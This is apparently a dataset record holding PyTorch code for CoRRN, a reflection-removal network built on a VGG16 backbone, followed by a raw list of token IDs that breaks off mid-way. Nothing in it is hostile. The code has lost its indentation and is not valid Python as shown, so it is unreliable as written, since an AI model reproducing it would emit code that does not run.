class CencN(nn.Module):
def __init__(self):
super(CencN, self).__init__()
backbone_model = models.vgg16_bn(pretrained=True)
backbone_model_list = list(backbone_model.features.children())
self.backbone_1 = nn.Sequential(*backbone_model_list[0:7])
self.backbone_2 = nn.Sequential(*backbone_model_list[7:14])
self.backbone_3 = nn.Sequential(*backbone_model_list[14:24])
self.backbone_4 = nn.Sequential(*backbone_model_list[24:34])
self.backbone_5 = nn.Sequential(*backbone_model_list[34:44])
self.cba_after_backbone = Conv2D_BN_activa(512, 256, 3, 1, 1)
def forward(self, x):
x_bb_1 = self.backbone_1(x)
x_bb_2 = self.backbone_2(x_bb_1)
x_bb_3 = self.backbone_3(x_bb_2)
x_bb_4 = self.backbone_4(x_bb_3)
x_bb_5 = self.backbone_5(x_bb_4)
x_c = self.cba_after_backbone(x_bb_5)
return x_bb_1, x_bb_2, x_bb_3, x_bb_4, x_c
class GdecN(nn.Module):
def __init__(self):
super(GdecN, self).__init__()
self.block_1_conv_1 = Conv2D_BN_activa(512, 1024, 7, 1, 3)
self.block_1_conv_2 = Conv2D_BN_activa(1024, 512, 1, 1, 0)
self.block_1_conv_3 = Conv2D_BN_activa(512, 256, 3, 1, 1)
self.block_1_conv_transpose = Conv2D_BN_activa(256, 256, 5, 1, 2, transpose=False)
self.block_2_conv = Conv2D_BN_activa(256+512, 128, 3, 1, 1)
self.block_2_conv_transpose = Conv2D_BN_activa(128, 128, 4, 2, 1, transpose=True)
self.block_3_conv = Conv2D_BN_activa(128+256, 64, 3, 1, 1)
self.block_3_conv_transpose = Conv2D_BN_activa(64, 64, 4, 2, 1, transpose=True)
self.block_4_conv = Conv2D_BN_activa(64+128, 32, 3, 1, 1)
self.block_4_conv_transpose = Conv2D_BN_activa(32, 32, 4, 2, 1, transpose=True)
self.block_5_conv_1 = Conv2D_BN_activa(32+64, 64, 4, 2, 1, transpose=True)
self.block_5_conv_2 = Conv2D_BN_activa(64, 1, 5, 1, 2, activation=None, if_bn=False)
self.sigmoid_layer = nn.Sigmoid()
def forward(self, backbone_features):
x_bb_1, x_bb_2, x_bb_3, x_bb_4 = backbone_features
x = self.block_1_conv_1(x_bb_4)
x = self.block_1_conv_2(x)
x = self.block_1_conv_3(x)
x_to_be_enhanced_1 = self.block_1_conv_transpose(x)
x = torch.cat([x_to_be_enhanced_1, x_bb_4], dim=1)
x = self.block_2_conv(x)
x_to_be_enhanced_2 = self.block_2_conv_transpose(x)
x = torch.cat([x_to_be_enhanced_2, x_bb_3], dim=1)
x = self.block_3_conv(x)
x_to_be_enhanced_3 = self.block_3_conv_transpose(x)
x = torch.cat([x_to_be_enhanced_3, x_bb_2], dim=1)
x = self.block_4_conv(x)
x_to_be_enhanced_4 = self.block_4_conv_transpose(x)
x = torch.cat([x_to_be_enhanced_4, x_bb_1], dim=1)
x = self.block_5_conv_1(x)
x = self.block_5_conv_2(x)
x_g = self.sigmoid_layer(x)
return x_to_be_enhanced_1, x_to_be_enhanced_2, x_to_be_enhanced_3, x_to_be_enhanced_4, x_g
class IdecN(nn.Module):
def __init__(self, in_channels):
super(IdecN, self).__init__()
self.feature_extraction_layers_A = FeatureExtrationLayersA(in_channels)
self.image_dec_block_1 = ImageDecBlock(192*3, 256)
self.image_dec_block_2 = ImageDecBlock(256*3+128+512, 128) # channels of [image_dec_block,
self.feature_extraction_layers_B = FeatureExtrationLayersB(128*3+64+256) # feature_enhancement_layers, vgg16]
self.image_dec_block_3 = ImageDecBlock(192+192+128+128, 64)
self.image_dec_block_4 = ImageDecBlock(64*3+32+128, 32)
self.image_dec_block_5 = ImageDecBlock(32*3+16+64, 16)
self.cba_output_1 = Conv2D_BN_activa(16*3+1, 16, 3, 1, 1)
self.cba_output_2 = Conv2D_BN_activa(16, 3, 3, 1, 1)
def forward(self, c_features, enhanced_features, x_g):
x_bb_1, x_bb_2, x_bb_3, x_bb_4, x_c = c_features
x_enhanced_1, x_enhanced_2, x_enhanced_3, x_enhanced_4 = enhanced_features
x = self.feature_extraction_layers_A(x_c)
x = self.image_dec_block_1(x)
x = torch.cat([x, x_bb_4, x_enhanced_1], dim=1)
x = self.image_dec_block_2(x)
x = torch.cat([x, x_bb_3, x_enhanced_2], dim=1)
x = self.feature_extraction_layers_B(x)
x = self.image_dec_block_3(x)
x = torch.cat([x, x_bb_2, x_enhanced_3], dim=1)
x = self.image_dec_block_4(x)
x = torch.cat([x, x_bb_1, x_enhanced_4], dim=1)
x = self.image_dec_block_5(x)
# print(x.shape, x_g.shape)
x = torch.cat([x, x_g], dim=1)
x = self.cba_output_1(x)
est_b = self.cba_output_2(x)
return est_b
class EnhancementLayers(nn.Module):
def __init__(self):
super(EnhancementLayers, self).__init__()
self.enhancement_layers_1 = Conv2D_BN_activa(256, 128, 7, 1, 3)
self.enhancement_layers_2 = Conv2D_BN_activa(128, 64, 7, 1, 3)
self.enhancement_layers_3 = Conv2D_BN_activa(64, 32, 7, 1, 3)
self.enhancement_layers_4 = Conv2D_BN_activa(32, 16, 7, 1, 3)
def forward(self, to_be_enhanced_features):
x_enhanced_1 = self.enhancement_layers_1(to_be_enhanced_features[0])
x_enhanced_2 = self.enhancement_layers_2(to_be_enhanced_features[1])
x_enhanced_3 = self.enhancement_layers_3(to_be_enhanced_features[2])
x_enhanced_4 = self.enhancement_layers_4(to_be_enhanced_features[3])
return x_enhanced_1, x_enhanced_2, x_enhanced_3, x_enhanced_4
class CoRRN(nn.Module):
def __init__(self):
super(CoRRN, self).__init__()
self.encoder_context = CencN()
self.decoder_gradient = GdecN()
self.enhancement_layers = EnhancementLayers()
self.decoder_image = IdecN(in_channels=256)
def forward(self, x):
c_features = self.encoder_context(x)
g_features = self.decoder_gradient(c_features[:-1])
enhanced_features = self.enhancement_layers(g_features[:-1])
est_b = self.decoder_image(c_features, enhanced_features, g_features[-1])
estimations = {'r': x-est_b, 'g': g_features[-1], 'b': est_b}
return estimations
| [
1,
1053,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
3166,
4842,
305,
4924,
1053,
4733,
13,
13,
13,
1990,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
13,
9651,
1583,
29892,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
8466,
29918,
2311,
29892,
380,
2426,
29892,
7164,
29922,
29900,
29892,
13,
9651,
270,
8634,
29922,
29896,
29892,
565,
29918,
11197,
29922,
5574,
29892,
26229,
2433,
2674,
29884,
742,
24003,
29922,
8516,
29892,
2847,
3950,
29922,
8516,
29892,
1301,
4220,
29922,
8824,
13,
268,
1125,
13,
4706,
2428,
29898,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
565,
1301,
4220,
29901,
13,
9651,
1583,
29889,
20580,
29906,
29881,
353,
302,
29876,
29889,
1168,
29894,
4300,
4220,
29906,
29881,
29898,
13,
18884,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
8466,
29918,
2311,
29892,
380,
2426,
29892,
7164,
29892,
13,
18884,
270,
8634,
29922,
29881,
8634,
29892,
24003,
7607,
1333,
565,
29918,
11197,
29897,
565,
24003,
338,
6213,
1683,
24003,
13,
9651,
1723,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
20580,
29906,
29881,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
13,
18884,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
8466,
29918,
2311,
29892,
380,
2426,
29892,
7164,
29892,
13,
18884,
270,
8634,
29922,
29881,
8634,
29892,
24003,
7607,
1333,
565,
29918,
11197,
29897,
565,
24003,
338,
6213,
1683,
24003,
13,
9651,
1723,
13,
4706,
1583,
29889,
361,
29918,
11197,
353,
565,
29918,
11197,
13,
4706,
565,
1583,
29889,
361,
29918,
11197,
29901,
13,
9651,
1583,
29889,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
449,
29918,
305,
12629,
29892,
321,
567,
29922,
29896,
29872,
29899,
29941,
29897,
1678,
396,
321,
567,
1021,
408,
393,
297,
278,
6221,
11561,
29889,
13,
4706,
565,
26229,
1275,
525,
2674,
29884,
2396,
13,
9651,
1583,
29889,
11236,
362,
353,
302,
29876,
29889,
1123,
29931,
29965,
29898,
262,
6689,
29922,
5574,
29897,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
11236,
362,
353,
6213,
13,
4706,
1583,
29889,
11228,
3950,
353,
2847,
3950,
13,
4706,
565,
1583,
29889,
11228,
3950,
338,
451,
6213,
29901,
13,
9651,
565,
1583,
29889,
11228,
3950,
1275,
525,
509,
4661,
630,
29918,
12324,
2396,
13,
18884,
302,
29876,
29889,
2344,
29889,
8945,
23538,
1311,
29889,
20580,
29906,
29881,
29889,
7915,
29892,
3659,
29922,
29900,
29889,
29900,
29906,
29897,
13,
18884,
1583,
29889,
20580,
29906,
29881,
29889,
7915,
353,
21022,
630,
29918,
8945,
23538,
1311,
29889,
20580,
29906,
29881,
29889,
7915,
29892,
3659,
29922,
29900,
29889,
29900,
29906,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
921,
353,
1583,
29889,
20580,
29906,
29881,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11236,
362,
29901,
13,
9651,
565,
1583,
29889,
361,
29918,
11197,
29901,
13,
18884,
921,
353,
1583,
29889,
11197,
29898,
29916,
29897,
13,
9651,
921,
353,
1583,
29889,
11236,
362,
29898,
29916,
29897,
13,
4706,
736,
921,
13,
13,
13,
1990,
5169,
1535,
5647,
29878,
362,
29931,
388,
414,
29909,
29898,
15755,
29889,
7355,
1125,
13,
12,
1753,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29918,
17519,
29922,
29896,
29929,
29906,
1125,
13,
12,
12,
9136,
29898,
19132,
5647,
29878,
362,
29931,
388,
414,
29909,
29892,
1583,
467,
1649,
2344,
1649,
580,
29871,
13,
12,
12,
1311,
29889,
2084,
29896,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
29871,
29929,
29953,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29929,
29953,
29892,
714,
29918,
305,
12629,
29918,
17519,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
12,
12,
29897,
13,
12,
12,
1311,
29889,
2084,
29906,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29918,
17519,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
12,
12,
1311,
29889,
2084,
29941,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
29871,
29906,
29945,
29953,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29906,
29945,
29953,
29892,
29871,
29906,
29945,
29953,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29906,
29945,
29953,
29892,
714,
29918,
305,
12629,
29918,
17519,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
12,
12,
29897,
13,
13,
12,
1753,
6375,
29898,
1311,
29892,
921,
1125,
13,
12,
12,
29916,
29896,
353,
1583,
29889,
2084,
29896,
29898,
29916,
29897,
13,
12,
12,
29916,
29906,
353,
1583,
29889,
2084,
29906,
29898,
29916,
29897,
13,
12,
12,
29916,
29941,
353,
1583,
29889,
2084,
29941,
29898,
29916,
29897,
13,
12,
12,
449,
353,
4842,
305,
29889,
4117,
3552,
29916,
29896,
29892,
921,
29906,
29892,
921,
29941,
511,
29871,
29896,
29897,
13,
13,
12,
12,
2457,
714,
13,
13,
13,
1990,
5169,
1535,
5647,
29878,
362,
29931,
388,
414,
29933,
29898,
15755,
29889,
7355,
1125,
13,
12,
1753,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
1125,
13,
12,
12,
9136,
29898,
19132,
5647,
29878,
362,
29931,
388,
414,
29933,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
12,
12,
1311,
29889,
2084,
29896,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29896,
29929,
29906,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
12,
12,
29897,
13,
12,
12,
1311,
29889,
2084,
29906,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29896,
29929,
29906,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
12,
12,
29897,
13,
12,
12,
1311,
29889,
2084,
29941,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
12,
12,
29897,
13,
12,
12,
1311,
29889,
2084,
29946,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
511,
13,
12,
12,
12,
1168,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
12,
12,
29897,
13,
13,
12,
1753,
6375,
29898,
1311,
29892,
921,
1125,
13,
12,
12,
2084,
29896,
353,
1583,
29889,
2084,
29896,
29898,
29916,
29897,
13,
12,
12,
2084,
29906,
353,
1583,
29889,
2084,
29906,
29898,
29916,
29897,
13,
12,
12,
2084,
29941,
353,
1583,
29889,
2084,
29941,
29898,
29916,
29897,
13,
12,
12,
2084,
29946,
353,
1583,
29889,
2084,
29946,
29898,
29916,
29897,
13,
13,
12,
12,
449,
353,
4842,
305,
29889,
4117,
3552,
2084,
29896,
29892,
2224,
29906,
29892,
2224,
29941,
29892,
2224,
29946,
511,
29871,
29896,
29897,
13,
12,
12,
2457,
714,
13,
13,
13,
1990,
7084,
6185,
7445,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29918,
17519,
29922,
29906,
29945,
29953,
1125,
13,
4706,
2428,
29898,
2940,
6185,
7445,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
17519,
29918,
29896,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29918,
17519,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
4706,
1583,
29889,
17519,
29918,
29906,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29918,
17519,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
4706,
1583,
29889,
17519,
29918,
29941,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29918,
17519,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
921,
29918,
29896,
353,
1583,
29889,
17519,
29918,
29896,
29898,
29916,
29897,
13,
4706,
921,
29918,
29906,
353,
1583,
29889,
17519,
29918,
29896,
29898,
29916,
29897,
13,
4706,
921,
29918,
29941,
353,
1583,
29889,
17519,
29918,
29896,
29898,
29916,
29897,
13,
4706,
921,
29918,
29896,
29906,
29941,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
29896,
29892,
921,
29918,
29906,
29892,
921,
29918,
29941,
1402,
3964,
29922,
29896,
29897,
13,
4706,
736,
921,
29918,
29896,
29906,
29941,
13,
13,
13,
1990,
315,
3977,
29940,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
29898,
29907,
3977,
29940,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1250,
15933,
29918,
4299,
353,
4733,
29889,
29894,
1505,
29896,
29953,
29918,
11197,
29898,
1457,
3018,
1312,
29922,
5574,
29897,
13,
4706,
1250,
15933,
29918,
4299,
29918,
1761,
353,
1051,
29898,
1627,
15933,
29918,
4299,
29889,
22100,
29889,
11991,
3101,
13,
4706,
1583,
29889,
1627,
15933,
29918,
29896,
353,
302,
29876,
29889,
16941,
2556,
10456,
1627,
15933,
29918,
4299,
29918,
1761,
29961,
29900,
29901,
29955,
2314,
13,
4706,
1583,
29889,
1627,
15933,
29918,
29906,
353,
302,
29876,
29889,
16941,
2556,
10456,
1627,
15933,
29918,
4299,
29918,
1761,
29961,
29955,
29901,
29896,
29946,
2314,
13,
4706,
1583,
29889,
1627,
15933,
29918,
29941,
353,
302,
29876,
29889,
16941,
2556,
10456,
1627,
15933,
29918,
4299,
29918,
1761,
29961,
29896,
29946,
29901,
29906,
29946,
2314,
13,
4706,
1583,
29889,
1627,
15933,
29918,
29946,
353,
302,
29876,
29889,
16941,
2556,
10456,
1627,
15933,
29918,
4299,
29918,
1761,
29961,
29906,
29946,
29901,
29941,
29946,
2314,
13,
4706,
1583,
29889,
1627,
15933,
29918,
29945,
353,
302,
29876,
29889,
16941,
2556,
10456,
1627,
15933,
29918,
4299,
29918,
1761,
29961,
29941,
29946,
29901,
29946,
29946,
2314,
13,
13,
4706,
1583,
29889,
29883,
2291,
29918,
7045,
29918,
1627,
15933,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29945,
29896,
29906,
29892,
29871,
29906,
29945,
29953,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
921,
29918,
1327,
29918,
29896,
353,
1583,
29889,
1627,
15933,
29918,
29896,
29898,
29916,
29897,
13,
4706,
921,
29918,
1327,
29918,
29906,
353,
1583,
29889,
1627,
15933,
29918,
29906,
29898,
29916,
29918,
1327,
29918,
29896,
29897,
13,
4706,
921,
29918,
1327,
29918,
29941,
353,
1583,
29889,
1627,
15933,
29918,
29941,
29898,
29916,
29918,
1327,
29918,
29906,
29897,
13,
4706,
921,
29918,
1327,
29918,
29946,
353,
1583,
29889,
1627,
15933,
29918,
29946,
29898,
29916,
29918,
1327,
29918,
29941,
29897,
13,
4706,
921,
29918,
1327,
29918,
29945,
353,
1583,
29889,
1627,
15933,
29918,
29945,
29898,
29916,
29918,
1327,
29918,
29946,
29897,
13,
308,
13,
4706,
921,
29918,
29883,
353,
1583,
29889,
29883,
2291,
29918,
7045,
29918,
1627,
15933,
29898,
29916,
29918,
1327,
29918,
29945,
29897,
13,
4706,
736,
921,
29918,
1327,
29918,
29896,
29892,
921,
29918,
1327,
29918,
29906,
29892,
921,
29918,
1327,
29918,
29941,
29892,
921,
29918,
1327,
29918,
29946,
29892,
921,
29918,
29883,
13,
13,
13,
1990,
402,
7099,
29940,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
29898,
29954,
7099,
29940,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
29896,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29945,
29896,
29906,
29892,
29871,
29896,
29900,
29906,
29946,
29892,
29871,
29955,
29892,
29871,
29896,
29892,
29871,
29941,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
29906,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29900,
29906,
29946,
29892,
29871,
29945,
29896,
29906,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
29941,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29945,
29896,
29906,
29892,
29871,
29906,
29945,
29953,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
3286,
4220,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29906,
29945,
29953,
29892,
29871,
29906,
29945,
29953,
29892,
29871,
29945,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
1301,
4220,
29922,
8824,
29897,
13,
13,
4706,
1583,
29889,
1271,
29918,
29906,
29918,
20580,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29906,
29945,
29953,
29974,
29945,
29896,
29906,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29906,
29918,
20580,
29918,
3286,
4220,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
13,
4706,
1583,
29889,
1271,
29918,
29941,
29918,
20580,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29896,
29906,
29947,
29974,
29906,
29945,
29953,
29892,
29871,
29953,
29946,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29941,
29918,
20580,
29918,
3286,
4220,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29953,
29946,
29892,
29871,
29953,
29946,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
13,
4706,
1583,
29889,
1271,
29918,
29946,
29918,
20580,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29953,
29946,
29974,
29896,
29906,
29947,
29892,
29871,
29941,
29906,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29946,
29918,
20580,
29918,
3286,
4220,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29941,
29906,
29892,
29871,
29941,
29906,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
13,
4706,
1583,
29889,
1271,
29918,
29945,
29918,
20580,
29918,
29896,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29941,
29906,
29974,
29953,
29946,
29892,
29871,
29953,
29946,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
1301,
4220,
29922,
5574,
29897,
13,
4706,
1583,
29889,
1271,
29918,
29945,
29918,
20580,
29918,
29906,
353,
1281,
29894,
29906,
29928,
29918,
29933,
29940,
29918,
627,
4244,
29898,
29953,
29946,
29892,
29871,
29896,
29892,
29871,
29945,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
26229,
29922,
8516,
29892,
565,
29918,
11197,
29922,
8824,
29897,
13,
13,
4706,
1583,
29889,
18816,
29885,
3398,
29918,
13148,
353,
302,
29876,
29889,
29903,
335,
29885,
3398,
580,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
1250,
15933,
29918,
22100,
1125,
13,
4706,
921,
29918,
1327,
29918,
29896,
29892,
921,
29918,
1327,
29918,
29906,
29892,
921,
29918,
1327,
29918,
29941,
29892,
921,
29918,
1327,
29918,
29946,
353,
1250,
15933,
29918,
22100,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
29896,
29898,
29916,
29918,
1327,
29918,
29946,
29897,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
29906,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
29941,
29898,
29916,
29897,
13,
4706,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29896,
353,
1583,
29889,
1271,
29918,
29896,
29918,
20580,
29918,
3286,
4220,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29896,
29892,
921,
29918,
1327,
29918,
29946,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29906,
29918,
20580,
29898,
29916,
29897,
13,
4706,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29906,
353,
1583,
29889,
1271,
29918,
29906,
29918,
20580,
29918,
3286,
4220,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29906,
29892,
921,
29918,
1327,
29918,
29941,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29941,
29918,
20580,
29898,
29916,
29897,
13,
4706,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29941,
353,
1583,
29889,
1271,
29918,
29941,
29918,
20580,
29918,
3286,
4220,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29941,
29892,
921,
29918,
1327,
29918,
29906,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29946,
29918,
20580,
29898,
29916,
29897,
13,
4706,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29946,
353,
1583,
29889,
1271,
29918,
29946,
29918,
20580,
29918,
3286,
4220,
29898,
29916,
29897,
13,
4706,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29946,
29892,
921,
29918,
1327,
29918,
29896,
1402,
3964,
29922,
29896,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29945,
29918,
20580,
29918,
29896,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
1271,
29918,
29945,
29918,
20580,
29918,
29906,
29898,
29916,
29897,
13,
13,
4706,
921,
29918,
29887,
353,
1583,
29889,
18816,
29885,
3398,
29918,
13148,
29898,
29916,
29897,
13,
13,
4706,
736,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29896,
29892,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29906,
29892,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29941,
29892,
921,
29918,
517,
29918,
915,
29918,
264,
29308,
29918,
29946,
29892,
921,
29918,
29887,
13,
13,
13,
13,
1990,
306,
7099,
29940,
29898,
15755,
29889,
7355,
1125,
13,
1678,
